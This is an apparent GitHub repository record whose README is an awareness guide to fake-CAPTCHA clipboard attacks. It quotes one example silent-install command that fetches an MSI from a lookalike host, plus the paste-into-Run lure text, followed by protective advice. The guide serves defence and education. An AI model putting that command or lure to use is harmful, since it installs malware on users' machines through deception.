{"id":29163755,"url":"https://github.com/antordos/captcha-social-engineering-attack","last_synced_at":"2026-02-03T18:03:06.465Z","repository":{"id":299365644,"uuid":"1002777492","full_name":"AntorDOS/captcha-social-engineering-attack","owner":"AntorDOS","description":"\"A detailed explanation and awareness guide on CAPTCHA Social Engineering Attacks where fake CAPTCHAs are used to hijack the clipboard and deliver silent malware via user action.\"","archived":false,"fork":false,"pushed_at":"2025-06-16T06:13:51.000Z","size":15,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-07-01T06:05:02.160Z","etag":null,"topics":["antordos","clipboard-attack","cyber-threats","cybersecurity","ethicalhacking","hacking","information-security","infosec","jahidhasan","malware","pentesting","phishing","security-awareness","security-research","social-engineering"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/AntorDOS.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-06-16T06:06:29.000Z","updated_at":"2025-06-16T06:20:56.000Z","dependencies_parsed_at":"2025-06-16T07:36:14.179Z","dependency_job_id":null,"html_url":"https://github.com/AntorDOS/captcha-social-engineering-attack","commit_stats":null,"previous_names":["antordos/captcha-social-engineering-attack"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/AntorDOS/captcha-social-engineering-attack","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AntorDOS%2Fcaptcha-social-engineering-attack","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AntorDOS%2Fcaptcha-social-engineering-attack/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AntorDOS%2Fcaptcha-social-engineering-attack/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AntorDOS%2Fcaptcha-social-engineering-attack/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AntorDOS","download_url":"https://codeload.github.com/AntorDOS/captcha-social-engineering-attack/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AntorDOS%2Fcaptcha-social-engineering-attack/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29051269,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-03T15:43:47.601Z","status":"ssl_error","status_checked_at":"2026-02-03T15:43:46.709Z","response_time":96,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["antordos","clipboard-attack","cyber-threats","cybersecurity","ethicalhacking","hacking","information-security","infosec","jahidhasan","malware","pentesting","phishing","security-awareness","security-research","social-engineering"],"created_at":"2025-07-01T06:04:53.687Z","updated_at":"2026-02-03T18:03:06.459Z","avatar_url":"https://github.com/AntorDOS.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# CAPTCHA Social Engineering Attack – A Silent Threat You Should Know About\n\n\u003c!-- Optional GitHub Banner Image URL --\u003e\n\n![captcha social engineering](https://github.com/user-attachments/assets/bd9416a2-6672-4344-bf6c-eb65180158cc)\n\n\n## 📖 Overview\n\nIn today’s cybersecurity landscape, attackers are becoming smarter and using creative ways to trick unsuspecting users. One such dangerous and deceptive technique is called a **CAPTCHA Social Engineering Attack** — a method that abuses the familiar \"I'm not a robot\" CAPTCHA to compromise your system.\n\n---\n\n## ⚙️ How This Attack Works\n\n1. You visit a suspicious or malicious website.\n2. The site shows a seemingly legitimate CAPTCHA — similar to Google or Cloudflare’s human verification.\n3. Believing it’s genuine, you click the CAPTCHA checkbox.\n4. **Silently, a malicious command gets copied into your clipboard** without your knowledge. Example:\n\n```\nmsiexec /qn /i https://clloudsverify.com/o.msi\n```\n\n5. Then you see a message like this:\n\n\u003e \"To complete the verification process, press **Win + R**, then **Ctrl + V**, and hit Enter.\"\n\n6. Once you obey:\n\n   * **Win + R** opens the Run dialog.\n   * **Ctrl + V** pastes the malicious command.\n   * **Enter** executes it.\n\nThis installs malware silently — no alerts, no warnings.\n\n---\n\n## 🎯 Why This Attack is Dangerous\n\n* **Trust Exploitation**: Users assume CAPTCHA equals safety.\n* **Clipboard Hijacking**: Code is injected silently.\n* **Social Engineering**: Users are tricked into executing commands.\n* **Stealthy Execution**: The command uses Windows Installer (`msiexec`) in quiet mode (`/qn`) to avoid detection.\n\n---\n\n## 💥 Potential Impacts\n\n* ⚠️ Full system compromise\n* ⚠️ Theft of credentials, files, personal data\n* ⚠️ Installation of Remote Access Trojans (RATs)\n* ⚠️ Long-term backdoor access for attackers\n\n---\n\n## 🛡️ How to Protect Yourself\n\n✅ **Never follow online instructions** asking you to use Win + R and paste commands.\n\n✅ **Always check clipboard content** before pasting — open Notepad, press Ctrl + V, and inspect.\n\n✅ **Avoid unknown or suspicious websites**.\n\n✅ **Keep security software updated**.\n\n✅ **Educate others** about such modern social engineering methods.\n\n---\n\n## 🚫 Important Reminder\n\nJust because a CAPTCHA appears doesn’t mean a site is trustworthy. Fake CAPTCHAs can easily be weaponized for such attacks.\n\n\u003e **Stay alert. Stay secure.** 🔐\n\n---\n\n## 📜 License\n\nThis project is licensed under the **MIT License** — see the [LICENSE](LICENSE) file for details.\n\n---\n\n## 🏷️ GitHub Topics\n\n`cybersecurity` `social-engineering` `clipboard-attack` `malware` `security-awareness` `hacking` `information-security` `cyber-threats`\n\n---\n\n## 🙌 Contributions\n\nContributions, suggestions, and improvements are welcome. Feel free to open an Issue or Pull Request.\n\n---\n\n## 🔗 Author\n\n**Jahid Hasan**\n[LinkedIn](https://www.linkedin.com/in/jahid-hasan-antor) | [GitHub](https://github.com/AntorDOS)\n\n\n---\n\n*This repository is intended for educational and awareness purposes only.*\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fantordos%2Fcaptcha-social-engineering-attack","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fantordos%2Fcaptcha-social-engineering-attack","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fantordos%2Fcaptcha-social-engineering-attack/lists"}